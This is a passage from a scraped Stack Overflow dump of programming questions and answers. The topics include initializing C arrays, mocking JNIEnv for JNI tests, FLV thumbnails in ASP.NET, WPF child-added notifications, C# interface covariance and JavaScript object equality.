myArray[n] );\n\n if ( n &lt; size-1 )\n printf( \", \" );\n }\n printf( \" }\\n\" );\n}\n</code></pre>\n\n<p>There are a few caveats above; one is that <code>UINT myArray[size];</code> is not directly initialized upon declaration, however the very next code block or function call does initialize each element of the array to the same value you want. The other caveat is, you would have to write an <code>initializing function</code> for each <code>type</code> you will support and you would also have to modify the <code>printArray()</code> function to support those types.</p>\n\n<hr>\n\n<p>You can try this code with an online complier found <a href=\"https://www.onlinegdb.com/online_c_compiler\" rel=\"nofollow noreferrer\">here</a>.</p>\n" }, { "answer_id": 52897024, "author": "Sooth", "author_id": 1072521, "author_profile": "https://Stackoverflow.com/users/1072521", "pm_score": 1, "selected": false, "text": "<p>For delayed initialization (i.e. class member constructor initialization) consider:</p>\n\n<pre><code>int a[4];\n\nunsigned int size = sizeof(a) / sizeof(a[0]);\nfor (unsigned int i = 0; i &lt; size; i++)\n a[i] = 0;\n</code></pre>\n" }, { "answer_id": 54178237, "author": "Mike", "author_id": 2503164, "author_profile": "https://Stackoverflow.com/users/2503164", "pm_score": -1, "selected": false, "text": "<p>Back in the day (and I'm not saying it's a good idea), we'd set the first element and then:</p>\n\n<p><code>memcpy (&amp;element [1], &amp;element [0], sizeof (element)-sizeof (element [0]);</code> </p>\n\n<p>Not even sure it would work any more (that would depend on the implementation of memcpy) but it works by repeatedly copying the initial element to the next - even works for arrays of structures.</p>\n" }, { "answer_id": 54666996, "author": "Clemens Sielaff", "author_id": 3444217, "author_profile": "https://Stackoverflow.com/users/3444217", "pm_score": 3, "selected": false, "text": "<p>I know the original question explicitly mentions C and not C++, but if you (like me) came here looking for a solution for C++ arrays, here's a neat trick:</p>\n\n<p>If your compiler supports <a href=\"https://en.cppreference.com/w/cpp/language/fold\" rel=\"noreferrer\">fold expressions</a>, you can use template magic and <code>std::index_sequence</code> to generate an initializer list with the value that you want. And you can even <code>constexpr</code> it and feel like a boss:</p>\n\n<pre class=\"lang-cpp prettyprint-override\"><code>#include &lt;array&gt;\n\n/// [3]\n/// This functions's only purpose is to ignore the index given as the second\n/// template argument and to always produce the value passed in.\ntemplate&lt;class T, size_t /*ignored*/&gt;\nconstexpr T identity_func(const T&amp; value) {\n return value;\n}\n\n/// [2]\n/// At this point, we have a list of indices that we can unfold\n/// into an initializer list using the `identity_func` above.\ntemplate&lt;class T, size_t... Indices&gt;\nconstexpr std::array&lt;T, sizeof...(Indices)&gt;\nmake_array_of_impl(const T&amp; value, std::index_sequence&lt;Indices...&gt;) {\n return {identity_func&lt;T, Indices&gt;(value)...};\n}\n\n/// [1]\n/// This is the user-facing function.\n/// The template arguments are swapped compared to the order used\n/// for std::array, this way we can let the compiler infer the type\n/// from the given value but still define it explicitly if we want to.\ntemplate&lt;size_t Size, class T&gt;\nconstexpr std::array&lt;T, Size&gt; \nmake_array_of(const T&amp; value) {\n using Indices = std::make_index_sequence&lt;Size&gt;;\n return make_array_of_impl(value, Indices{});\n}\n\n// std::array&lt;int, 4&gt;{42, 42, 42, 42}\nconstexpr auto test_array = make_array_of&lt;4/*, int*/&gt;(42);\nstatic_assert(test_array[0] == 42);\nstatic_assert(test_array[1] == 42);\nstatic_assert(test_array[2] == 42);\nstatic_assert(test_array[3] == 42);\n// static_assert(test_array[4] == 42); out of bounds\n</code></pre>\n\n<p>You can take a look at the <a href=\"https://wandbox.org/permlink/Z1E9hTYWWXZxIOs6\" rel=\"noreferrer\">code at work</a> (at Wandbox)</p>\n" }, { "answer_id": 63789636, "author": "ferdymercury", "author_id": 7471760, "author_profile": "https://Stackoverflow.com/users/7471760", "pm_score": 1, "selected": false, "text": "<p>If the size of the array is known in advance, one could use a Boost preprocessor C_ARRAY_INITIALIZE macro to do the dirty job for you:</p>\n<pre><code>#include &lt;boost/preprocessor/repetition/enum.hpp&gt;\n#define C_ARRAY_ELEMENT(z, index, name) name[index]\n#define C_ARRAY_EXPAND(name,size) BOOST_PP_ENUM(size,C_ARRAY_ELEMENT,name)\n#define C_ARRAY_VALUE(z, index, value) value\n#define C_ARRAY_INITIALIZE(value,size) BOOST_PP_ENUM(size,C_ARRAY_VALUE,value)\n</code></pre>\n" }, { "answer_id": 65652599, "author": "Ratan Raj", "author_id": 13641586, "author_profile": "https://Stackoverflow.com/users/13641586", "pm_score": 2, "selected": false, "text": "<pre class=\"lang-c prettyprint-override\"><code>int array[1024] = {[0 ... 1023] = 5};\n</code></pre>\n<p>As the above works fine but make sure no spaces between the <code>...</code> dots.</p>\n" }, { "answer_id": 67972905, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<blockquote>\n<p>method 1 :</p>\n</blockquote>\n<pre><code>int a[5] = {3,3,3,3,3}; \n</code></pre>\n<p>formal initialization technique.</p>\n<blockquote>\n<p>method 2 :</p>\n</blockquote>\n<pre><code>int a[100] = {0};\n</code></pre>\n<p>but its worth to note that</p>\n<pre><code>int a[10] = {1}; \n</code></pre>\n<p><em>doesn't initialize all values to 1</em></p>\n<p>this way of initialization exclusively for 0</p>\n<p>if you just do</p>\n<pre><code>int a[100];\n</code></pre>\n<p>some compilers tend to take garbage value hence its always preferred to do</p>\n<pre><code>int a[1000] = {0};\n</code></pre>\n" }, { "answer_id": 68632220, "author": "Ruthvik Chandra Vanam", "author_id": 13134460, "author_profile": "https://Stackoverflow.com/users/13134460", "pm_score": 1, "selected": false, "text": "<p>To initialize with zeros -</p>\n<pre><code> char arr[1000] = { 0 };\n</code></pre>\n<p>It is better to do with normal &quot;for loop&quot; for initialing other than 0.</p>\n<pre><code> char arr[1000];\n for(int i=0; i&lt;arr.size(); i++){\n arr[i] = 'A';\n }\n</code></pre>\n" }, { "answer_id": 69582236, "author": "Pavel Vazharov", "author_id": 4644485, "author_profile": "https://Stackoverflow.com/users/4644485", "pm_score": 0, "selected": false, "text": "<p>Just as a follow up of the answer of Clemens Sielaff. This version requires C++17.</p>\n<pre><code>template &lt;size_t Cnt, typename T&gt; \nstd::array&lt;T, Cnt&gt; make_array_of(const T&amp; v) \n{ \n return []&lt;size_t... Idx&gt;(std::index_sequence&lt;Idx...&gt;, const auto&amp; v) \n { \n auto identity = [](const auto&amp; v, size_t) { return v; }; \n return std::array{identity(v, Idx)...}; \n } \n (std::make_index_sequence&lt;Cnt&gt;{}, v); \n}\n</code></pre>\n<p>You can see it in action <a href=\"https://godbolt.org/z/oTfc41d8W\" rel=\"nofollow noreferrer\">here</a>.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201101", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17693/" ]
I have a large array in **C** (not **C++** if that makes a difference). I want to initialize all members of the same value. I could swear I once knew a simple way to do this. I could use `memset()` in my case, but isn't there a way to do this that is built right into the C syntax?
Unless that value is 0 (in which case you can omit some part of the initializer and the corresponding elements will be initialized to 0), there's no easy way. Don't overlook the obvious solution, though: ``` int myArray[10] = { 5, 5, 5, 5, 5, 5, 5, 5, 5, 5 }; ``` Elements with missing values will be initialized to 0: ``` int myArray[10] = { 1, 2 }; // initialize to 1,2,0,0,0... ``` So this will initialize all elements to 0: ``` int myArray[10] = { 0 }; // all elements 0 ``` In C++, an empty initialization list will also initialize every element to 0. This is [not allowed](https://stackoverflow.com/a/17589839) with C until C23: ``` int myArray[10] = {}; // all elements 0 in C++ and C23 ``` Remember that objects with static storage duration will initialize to 0 if no initializer is specified: ``` static int myArray[10]; // all elements 0 ``` And that "0" doesn't necessarily mean "all-bits-zero", so using the above is better and more portable than memset(). (Floating point values will be initialized to +0, pointers to null value, etc.)
201,141
<p>I am writing some JNI code in C that I wish to test using cunit. In order to call the JNI functions, I need to create a valid JNIEnv struct.</p> <p>Does anyone know if there is a mocking framework for such a purpose, or who can give me some pointers on how to create a mock JNIEnv struct myself?</p>
[ { "answer_id": 201469, "author": "David Sykes", "author_id": 259, "author_profile": "https://Stackoverflow.com/users/259", "pm_score": 1, "selected": false, "text": "<p>Mocking JNI sounds like a world of pain to me. I think you are likely to be better off mocking the calls implemented in Java, and using Junit to test the functionality on the java side</p>\n" }, { "answer_id": 203250, "author": "Adam Mitz", "author_id": 2574, "author_profile": "https://Stackoverflow.com/users/2574", "pm_score": 3, "selected": true, "text": "<p>jni.h contains the complete structure for JNIEnv_, including the \"jump table\" JNINativeInterface_. You could create your own JNINativeInterface_ (pointing to mock implementations) and instantiate a JNIEnv_ from it.</p>\n\n<p>Edit in response to comments: (I didn't look at the other SO question you referenced)</p>\n\n<pre><code>#include \"jni.h\"\n#include &lt;iostream&gt;\n\njint JNICALL MockGetVersion(JNIEnv *)\n{\n return 23;\n}\n\nJNINativeInterface_ jnini = {\n 0, 0, 0, 0, //4 reserved pointers\n MockGetVersion\n};\n\n// class Foo { public static native void bar(); }\nvoid Java_Foo_bar(JNIEnv* jni, jclass)\n{\n std::cout &lt;&lt; jni-&gt;GetVersion() &lt;&lt; std::endl;\n}\n\nint main()\n{\n JNIEnv_ myjni = {&amp;jnini};\n Java_Foo_bar(&amp;myjni, 0);\n return 0;\n}\n</code></pre>\n" }, { "answer_id": 42450770, "author": "ZillGate", "author_id": 1502275, "author_profile": "https://Stackoverflow.com/users/1502275", "pm_score": 0, "selected": false, "text": "<p>Quote: \"jnimock is implemented on top of gmock. It provides two C++ classes 'JNIEnvMock' and 'JavaVMMock' to separately mock 'JNIEnv' and 'JavaVM'.\"</p>\n\n<p><a href=\"https://github.com/ifokthenok/jnimock\" rel=\"nofollow noreferrer\">https://github.com/ifokthenok/jnimock</a></p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201141", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7122/" ]
I am writing some JNI code in C that I wish to test using cunit. In order to call the JNI functions, I need to create a valid JNIEnv struct. Does anyone know if there is a mocking framework for such a purpose, or who can give me some pointers on how to create a mock JNIEnv struct myself?
jni.h contains the complete structure for JNIEnv\_, including the "jump table" JNINativeInterface\_. You could create your own JNINativeInterface\_ (pointing to mock implementations) and instantiate a JNIEnv\_ from it. Edit in response to comments: (I didn't look at the other SO question you referenced) ``` #include "jni.h" #include <iostream> jint JNICALL MockGetVersion(JNIEnv *) { return 23; } JNINativeInterface_ jnini = { 0, 0, 0, 0, //4 reserved pointers MockGetVersion }; // class Foo { public static native void bar(); } void Java_Foo_bar(JNIEnv* jni, jclass) { std::cout << jni->GetVersion() << std::endl; } int main() { JNIEnv_ myjni = {&jnini}; Java_Foo_bar(&myjni, 0); return 0; } ```
201,147
<p>I'm looking for a simple way to grab thumbnails of FLVs in ASP.NET, without having to change any permissions/settings on the server. Ideally, nothing is installed on the server machine, but if necessary, small tools such as FFmpeg are fine.</p> <p>I've tried FFmpeg using the command-line tool with Process.Start, but the same command that works in a Windows Forms application and from the command prompt does not work in ASP.NET (presumably because of permissions). </p> <p>I've also tried using TAO.FFmpeg, and it seems to be working most of the time, but fails randomly, and does not start working again until the machine is restarted. Even when I use the sample code (decoder.cs), it sometimes fails when I try to open multiple videos in a single request.</p> <p>If this isn't possible in a clean/straightforward way, I'm open to other suggestions.</p>
[ { "answer_id": 201503, "author": "Anjisan", "author_id": 25304, "author_profile": "https://Stackoverflow.com/users/25304", "pm_score": 1, "selected": false, "text": "<p>If you can embed Flash on a page, the easiest way to show a thumbnail of a FLV is to put a video object on the stage, attach a video to it through a NetStream in actionscript, and then put in an event handler to pause the move immediately after it starts playing.</p>\n\n<p>For example, if you have a video object on the stage called \"myVideo\", and you're trying to show a thumbnail of \"someVideo.flv\", try this actionscript (2.0) code,</p>\n\n<pre>\nvar connection_nc:NetConnection = new NetConnection();\nconnection_nc.connect(null);\nvar stream_ns:NetStream = new NetStream(connection_nc);\nmyVideo.attachVideo(stream_ns);\nstream_ns.play(\"someVideo.flv\");\nstream_ns.seek(0);\n\nstream_ns.onStatus = function(info)\n{\n if(info.code = \"NetStream.Play.Start\")\n {\n\n stream_ns.pause();\n }\n}\n</pre>\n\n<p>In terms of your ASPX talking to your Flash, you could pass the FLV video name to Flash via FlashVars so that your SWF would know what thumbnail to show.</p>\n" }, { "answer_id": 741941, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Try Media Manager Pro at <a href=\"http://www.all4dotnet.com/\" rel=\"nofollow noreferrer\">http://www.all4dotnet.com/</a></p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201147", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I'm looking for a simple way to grab thumbnails of FLVs in ASP.NET, without having to change any permissions/settings on the server. Ideally, nothing is installed on the server machine, but if necessary, small tools such as FFmpeg are fine. I've tried FFmpeg using the command-line tool with Process.Start, but the same command that works in a Windows Forms application and from the command prompt does not work in ASP.NET (presumably because of permissions). I've also tried using TAO.FFmpeg, and it seems to be working most of the time, but fails randomly, and does not start working again until the machine is restarted. Even when I use the sample code (decoder.cs), it sometimes fails when I try to open multiple videos in a single request. If this isn't possible in a clean/straightforward way, I'm open to other suggestions.
If you can embed Flash on a page, the easiest way to show a thumbnail of a FLV is to put a video object on the stage, attach a video to it through a NetStream in actionscript, and then put in an event handler to pause the move immediately after it starts playing. For example, if you have a video object on the stage called "myVideo", and you're trying to show a thumbnail of "someVideo.flv", try this actionscript (2.0) code, ``` var connection_nc:NetConnection = new NetConnection(); connection_nc.connect(null); var stream_ns:NetStream = new NetStream(connection_nc); myVideo.attachVideo(stream_ns); stream_ns.play("someVideo.flv"); stream_ns.seek(0); stream_ns.onStatus = function(info) { if(info.code = "NetStream.Play.Start") { stream_ns.pause(); } } ``` In terms of your ASPX talking to your Flash, you could pass the FLV video name to Flash via FlashVars so that your SWF would know what thumbnail to show.
201,170
<p>I am currently looking for a way to be notified when a child is added to the visual or logical children.</p> <p>I am aware of the Visual::OnVisualChildrenChanged method, but it does not apply to me since I can't always inherit and override this function. I am looking for an event.</p> <p>So, is there a way for the owner of a FrameworkElement/Visual to be notified when a child is added?</p>
[ { "answer_id": 214561, "author": "Andy", "author_id": 3857, "author_profile": "https://Stackoverflow.com/users/3857", "pm_score": 1, "selected": false, "text": "<p>I believe that <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.frameworkelement.loaded.aspx\" rel=\"nofollow noreferrer\">FrameworkElement.Loaded</a> and <a href=\"http://msdn.microsoft.com/en-us/library/system.windows.frameworkelement.unloaded.aspx\" rel=\"nofollow noreferrer\">FrameworkElement.Unloaded</a> are fired when the control is added to and removed from the Visual Tree, respectively. However, the few times that I was trying to do anything with them I wasn't able to get them to fire consistently (I was using Class Event Handlers at the time, so that might have something to do with it).</p>\n" }, { "answer_id": 1109297, "author": "Maciej", "author_id": 77273, "author_profile": "https://Stackoverflow.com/users/77273", "pm_score": 1, "selected": false, "text": "<p>Maybe it would be worth to add to child field keeping reference to parent and send notification after change back to it?</p>\n" }, { "answer_id": 1114901, "author": "Kenan E. K.", "author_id": 133143, "author_profile": "https://Stackoverflow.com/users/133143", "pm_score": 1, "selected": false, "text": "<p>EDIT:</p>\n\n<p>I just thought of something. If you are able to set a Loaded handler on each element which appears in your visual tree, perhaps it could be done with a technique like this (consider this a VERY basic idea, just as a start towards a possible solution):</p>\n\n<pre><code>public class ElementChildrenChangedEventArgs\n{\n public ElementChildrenChangedEventArgs(FrameworkElement parent, FrameworkElement child)\n {\n Parent = parent;\n Child = child;\n }\n\n public FrameworkElement Parent { get; private set;}\n public FrameworkElement Child { get; private set;}\n}\n\npublic delegate void ChildrenChanged(ElementChildrenChangedEventArgs args);\n\npublic static class ElementLoadedManager\n{\n private static readonly HashSet&lt;FrameworkElement&gt; elements = new HashSet&lt;FrameworkElement&gt;();\n\n public static void Process_Loaded(FrameworkElement fe)\n {\n FrameworkElement feParent = VisualTreeHelper.GetParent(fe) as FrameworkElement;\n\n if (feParent != null)\n {\n if (elements.Contains(feParent))\n {\n InvokeChildrenChanged(feParent, fe);\n }\n }\n\n if (!elements.Contains(fe))\n {\n elements.Add(fe);\n }\n\n fe.Unloaded += Element_Unloaded; \n }\n\n static void Element_Unloaded(object sender, RoutedEventArgs e)\n {\n FrameworkElement fe = sender as FrameworkElement;\n elements.Remove(fe);\n ClearUnloaded(fe);\n }\n\n static void ClearUnloaded(FrameworkElement fe)\n {\n fe.Unloaded -= Element_Unloaded;\n }\n\n public static event ChildrenChanged ChildrenChanged;\n\n private static void InvokeChildrenChanged(FrameworkElement parent, FrameworkElement child)\n {\n ElementChildrenChangedEventArgs args = new ElementChildrenChangedEventArgs(parent, child);\n\n ChildrenChanged changed = ChildrenChanged;\n\n if (changed != null) changed(args);\n }\n}\n</code></pre>\n\n<p>The idea (and requirement) would be to invoke the Process_Loaded(FrameworkElement) method in each element's Loaded handler, which is possible to do with some style/template setting.</p>\n\n<p>And since Loaded is a routed event, you could set the handler only on the parent window and check for e.OriginalSource.</p>\n" }, { "answer_id": 7823297, "author": "Bram", "author_id": 983172, "author_profile": "https://Stackoverflow.com/users/983172", "pm_score": 2, "selected": false, "text": "<p>Isn't it easier to extend </p>\n\n<pre><code>System.Windows.Controls.UIElementCollection \n</code></pre>\n\n<p>to do the notification and use</p>\n\n<pre><code>protected override UIElementCollection CreateUIElementCollection(FrameworkElement logicalParent)\n</code></pre>\n\n<p>?</p>\n" }, { "answer_id": 10936944, "author": "hbarck", "author_id": 1378037, "author_profile": "https://Stackoverflow.com/users/1378037", "pm_score": 1, "selected": false, "text": "<p>You could use an attached behaviour on the child elements in order to raise an attached event which bubbles up from the child elements to their parent. Or, in the child's loaded event, you could simply search for the parent up the logical tree, and either call a method there or set a property (like incrementing a child count, for example) in order to signal that the child is there, depending on what you want to happen on the parent. If you use the approach setting properties, you'll have to handle Unloaded, also.</p>\n\n<p>Loaded and Unloaded are not always raised as expected. However, if you use DataTemplates to create the child controls, they should always be fired when a control is created and destroyed, respectively.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201170", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12082/" ]
I am currently looking for a way to be notified when a child is added to the visual or logical children. I am aware of the Visual::OnVisualChildrenChanged method, but it does not apply to me since I can't always inherit and override this function. I am looking for an event. So, is there a way for the owner of a FrameworkElement/Visual to be notified when a child is added?
Isn't it easier to extend ``` System.Windows.Controls.UIElementCollection ``` to do the notification and use ``` protected override UIElementCollection CreateUIElementCollection(FrameworkElement logicalParent) ``` ?
201,178
<p>I feel like a fool, but here goes:</p> <pre><code>public interface IHasErrorController{ ErrorController ErrorController { get; set; } } public class DSErrorController: ErrorController{yadi yadi ya} public class DSWebsiteController : Controller, IHasErrorController{ public DSErrorController ErrorController { get; set; } } </code></pre> <p>This gives me an error saying DSWebsiteController.ErrorController cannot implement IHasErrorController despite DSErrorController being inheritted from ErrorController.</p> <p>Also, suggestions for a better naming so that the type ErrorController and the field Errorcontroller don't look the same are welcome (naming is hard).</p>
[ { "answer_id": 201192, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 4, "selected": true, "text": "<p>C# (at the moment) has very little [co|contra]variance support; as such, the interface implementation must be an <em>exact</em> match, including the return type. To keep your concreate type on the class API, I would implement the interface explicitly - i.e. add:</p>\n\n<pre><code>ErrorController IHasErrorControlloer.ErrorController {\n get {return this.ErrorController;}\n set {this.ErrorController = (DSErrorController)value;}\n}\n</code></pre>\n\n<p>Alternatively, simply change the type of the property to <code>ErrorController</code> - this may (or may not) give what you need.</p>\n" }, { "answer_id": 201194, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 1, "selected": false, "text": "<p>This is true; that is not allowed. (The proper name is \"Covariant return types\")</p>\n\n<p>Note that DSWebsiteController.ErrorController can physically return a DSErrorController object; it's just that the property's return value must be defined as ErrorController.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/201178", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11333/" ]
I feel like a fool, but here goes: ``` public interface IHasErrorController{ ErrorController ErrorController { get; set; } } public class DSErrorController: ErrorController{yadi yadi ya} public class DSWebsiteController : Controller, IHasErrorController{ public DSErrorController ErrorController { get; set; } } ``` This gives me an error saying DSWebsiteController.ErrorController cannot implement IHasErrorController despite DSErrorController being inheritted from ErrorController. Also, suggestions for a better naming so that the type ErrorController and the field Errorcontroller don't look the same are welcome (naming is hard).
C# (at the moment) has very little [co|contra]variance support; as such, the interface implementation must be an *exact* match, including the return type. To keep your concreate type on the class API, I would implement the interface explicitly - i.e. add: ``` ErrorController IHasErrorControlloer.ErrorController { get {return this.ErrorController;} set {this.ErrorController = (DSErrorController)value;} } ``` Alternatively, simply change the type of the property to `ErrorController` - this may (or may not) give what you need.
201,183
<p>A strict equality operator will tell you if two object <strong>types</strong> are equal. However, is there a way to tell if two objects are equal, <strong>much like the hash code</strong> value in Java?</p> <p>Stack Overflow question <em><a href="https://stackoverflow.com/questions/194846">Is there any kind of hashCode function in JavaScript?</a></em> is similar to this question, but requires a more academic answer. The scenario above demonstrates why it would be necessary to have one, and I'm wondering if there is any <strong>equivalent solution</strong>.</p>
[ { "answer_id": 201249, "author": "FOR", "author_id": 27826, "author_profile": "https://Stackoverflow.com/users/27826", "pm_score": 0, "selected": false, "text": "<p>Depends on what you mean by equality. And therefore it is up to you, as the developer of the classes, to define their equality.</p>\n\n<p>There's one case used sometimes, where two instances are considered 'equal' if they point to the same location in memory, but that is not always what you want. For instance, if I have a Person class, I might want to consider two Person objects 'equal' if they have the same Last Name, First Name, and Social Security Number (even if they point to different locations in memory).</p>\n\n<p>On the other hand, we can't simply say that two objects are equal if the value of each of their members is the same, since, sometimes, you don't want that. In other words, for each class, it's up to the class developer to define what members make up the objects 'identity' and develop a proper equality operator (be it via overloading the == operator or an Equals method).</p>\n\n<p>Saying that two objects are equal if they have the same hash is one way out. However you then have to wonder how the hash is calculated for each instance. Going back to the Person example above, we could use this system if the hash was calculated by looking at the values of the First Name, Last Name, and Social Security Number fields. On top of that, we are then relying on the quality of the hashing method (that's a huge topic on its own, but suffice it to say that not all hashes are created equal, and bad hashing methods can lead to <em>more</em> collisions, which in this case would return false matches).</p>\n" }, { "answer_id": 201265, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 5, "selected": false, "text": "<p>Are you trying to test if two objects are the equal? ie: their properties are equal?</p>\n\n<p>If this is the case, you'll probably have noticed this situation:</p>\n\n<pre><code>var a = { foo : \"bar\" };\nvar b = { foo : \"bar\" };\nalert (a == b ? \"Equal\" : \"Not equal\");\n// \"Not equal\"\n</code></pre>\n\n<p>you might have to do something like this:</p>\n\n<pre><code>function objectEquals(obj1, obj2) {\n for (var i in obj1) {\n if (obj1.hasOwnProperty(i)) {\n if (!obj2.hasOwnProperty(i)) return false;\n if (obj1[i] != obj2[i]) return false;\n }\n }\n for (var i in obj2) {\n if (obj2.hasOwnProperty(i)) {\n if (!obj1.hasOwnProperty(i)) return false;\n if (obj1[i] != obj2[i]) return false;\n }\n }\n return true;\n}\n</code></pre>\n\n<p>Obviously that function could do with quite a bit of optimisation, and the ability to do deep checking (to handle nested objects: <code>var a = { foo : { fu : \"bar\" } }</code>) but you get the idea.</p>\n\n<p>As FOR pointed out, you might have to adapt this for your own purposes, eg: different classes may have different definitions of \"equal\". If you're just working with plain objects, the above may suffice, otherwise a custom <code>MyClass.equals()</code> function may be the way to go.</p>\n" }, { "answer_id": 201305, "author": "Joel Anair", "author_id": 7441, "author_profile": "https://Stackoverflow.com/users/7441", "pm_score": 6, "selected": false, "text": "<p>If you are using a JSON library, you can encode each object as JSON, then compare the resulting strings for equality.</p>\n\n<pre><code>var obj1={test:\"value\"};\nvar obj2={test:\"value2\"};\n\nalert(JSON.encode(obj1)===JSON.encode(obj2));\n</code></pre>\n\n<p><strong>NOTE: While this answer will work in many cases, as several people have pointed out in the comments it's problematic for a variety of reasons. In pretty much all cases you'll want to find a more robust solution.</strong></p>\n" }, { "answer_id": 201471, "author": "AnthonyWJones", "author_id": 17516, "author_profile": "https://Stackoverflow.com/users/17516", "pm_score": 9, "selected": true, "text": "<p><strong>The short answer</strong></p>\n<p>The simple answer is: No, there is no generic means to determine that an object is equal to another in the sense you mean. The exception is when you are strictly thinking of an object being typeless.</p>\n<p><strong>The long answer</strong></p>\n<p>The concept is that of an Equals method that compares two different instances of an object to indicate whether they are equal at a value level. However, it is up to the specific type to define how an <code>Equals</code> method should be implemented. An iterative comparison of attributes that have primitive values may not be enough: an object may contain attributes which are not relevant to equality. For example,</p>\n<pre><code> function MyClass(a, b)\n {\n var c;\n this.getCLazy = function() {\n if (c === undefined) c = a * b // imagine * is really expensive\n return c;\n }\n }\n</code></pre>\n<p>In this above case, <code>c</code> is not really important to determine whether any two instances of MyClass are equal, only <code>a</code> and <code>b</code> are important. In some cases <code>c</code> might vary between instances and yet not be significant during comparison.</p>\n<p>Note this issue applies when members may themselves also be instances of a type and these each would all be required to have a means of determining equality.</p>\n<p>Further complicating things is that in JavaScript the distinction between data and method is blurred.</p>\n<p>An object may reference a method that is to be called as an event handler, and this would likely not be considered part of its 'value state'. Whereas another object may well be assigned a function that performs an important calculation and thereby makes this instance different from others simply because it references a different function.</p>\n<p>What about an object that has one of its existing prototype methods overridden by another function? Could it still be considered equal to another instance that it otherwise identical? That question can only be answered in each specific case for each type.</p>\n<p>As stated earlier, the exception would be a strictly typeless object. In which case the only sensible choice is an iterative and recursive comparison of each member. Even then one has to ask what is the 'value' of a function?</p>\n" }, { "answer_id": 302451, "author": "Bernard Igiri", "author_id": 254455, "author_profile": "https://Stackoverflow.com/users/254455", "pm_score": 2, "selected": false, "text": "<p>I'd advise against hashing or serialization (as the JSON solution suggest). If you need to test if two objects are equal, then you need to define what equals means. It could be that all data members in both objects match, or it could be that must the memory locations match (meaning both variables reference the same object in memory), or may be that only one data member in each object must match.</p>\n\n<p>Recently I developed an object whose constructor creates a new id (starting from 1 and incrementing by 1) each time an instance is created. This object has an isEqual function that compares that id value with the id value of another object and returns true if they match.</p>\n\n<p>In that case I defined \"equal\" as meaning the the id values match. Given that each instance has a unique id this could be used to enforce the idea that matching objects also occupy the same memory location. Although that is not necessary.</p>\n" }, { "answer_id": 886053, "author": "Daniel X Moore", "author_id": 68210, "author_profile": "https://Stackoverflow.com/users/68210", "pm_score": 8, "selected": false, "text": "<p>The default equality operator in JavaScript for Objects yields true when they refer to the same location in memory.</p>\n\n<pre><code>var x = {};\nvar y = {};\nvar z = x;\n\nx === y; // =&gt; false\nx === z; // =&gt; true\n</code></pre>\n\n<p>If you require a different equality operator you'll need to add an <code>equals(other)</code> method, or something like it to your classes and the specifics of your problem domain will determine what exactly that means.</p>\n\n<p>Here's a playing card example:</p>\n\n<pre><code>function Card(rank, suit) {\n this.rank = rank;\n this.suit = suit;\n this.equals = function(other) {\n return other.rank == this.rank &amp;&amp; other.suit == this.suit;\n };\n}\n\nvar queenOfClubs = new Card(12, \"C\");\nvar kingOfSpades = new Card(13, \"S\");\n\nqueenOfClubs.equals(kingOfSpades); // =&gt; false\nkingOfSpades.equals(new Card(13, \"S\")); // =&gt; true\n</code></pre>\n" }, { "answer_id": 2049359, "author": "Bernd Jendrissek", "author_id": 117911, "author_profile": "https://Stackoverflow.com/users/117911", "pm_score": -1, "selected": false, "text": "<p>I need to mock jQuery POST requests, so the equality that matters to me is that both objects have the same set of properties (none missing in either object), and that each property value is \"equal\" (according to this definition). I don't care about the objects having mismatching methods.</p>\n\n<p>Here's what I'll be using, it should be good enough for <em>my specific</em> requirements:</p>\n\n<pre><code>function PostRequest() {\n for (var i = 0; i &lt; arguments.length; i += 2) {\n this[arguments[i]] = arguments[i+1];\n }\n\n var compare = function(u, v) {\n if (typeof(u) != typeof(v)) {\n return false;\n }\n\n var allkeys = {};\n for (var i in u) {\n allkeys[i] = 1;\n }\n for (var i in v) {\n allkeys[i] = 1;\n }\n for (var i in allkeys) {\n if (u.hasOwnProperty(i) != v.hasOwnProperty(i)) {\n if ((u.hasOwnProperty(i) &amp;&amp; typeof(u[i]) == 'function') ||\n (v.hasOwnProperty(i) &amp;&amp; typeof(v[i]) == 'function')) {\n continue;\n } else {\n return false;\n }\n }\n if (typeof(u[i]) != typeof(v[i])) {\n return false;\n }\n if (typeof(u[i]) == 'object') {\n if (!compare(u[i], v[i])) {\n return false;\n }\n } else {\n if (u[i] !== v[i]) {\n return false;\n }\n }\n }\n\n return true;\n };\n\n this.equals = function(o) {\n return compare(this, o);\n };\n\n return this;\n}\n</code></pre>\n\n<p>Use like so:</p>\n\n<pre><code>foo = new PostRequest('text', 'hello', 'html', '&lt;p&gt;hello&lt;/p&gt;');\nfoo.equals({ html: '&lt;p&gt;hello&lt;/p&gt;', text: 'hello' });\n</code></pre>\n" }, { "answer_id": 2920854, "author": "Liam", "author_id": 474023, "author_profile": "https://Stackoverflow.com/users/474023", "pm_score": 2, "selected": false, "text": "<p>Needing a more generic object comparison function than had been posted, I cooked up the following. Critique appreciated...</p>\n\n<pre><code>Object.prototype.equals = function(iObj) {\n if (this.constructor !== iObj.constructor)\n return false;\n var aMemberCount = 0;\n for (var a in this) {\n if (!this.hasOwnProperty(a))\n continue;\n if (typeof this[a] === 'object' &amp;&amp; typeof iObj[a] === 'object' ? !this[a].equals(iObj[a]) : this[a] !== iObj[a])\n return false;\n ++aMemberCount;\n }\n for (var a in iObj)\n if (iObj.hasOwnProperty(a))\n --aMemberCount;\n return aMemberCount ? false : true;\n}\n</code></pre>\n" }, { "answer_id": 3198202, "author": "coolaj86", "author_id": 151312, "author_profile": "https://Stackoverflow.com/users/151312", "pm_score": 9, "selected": false, "text": "<p>Why reinvent the wheel? Give <a href=\"http://lodash.com/docs#isEqual\" 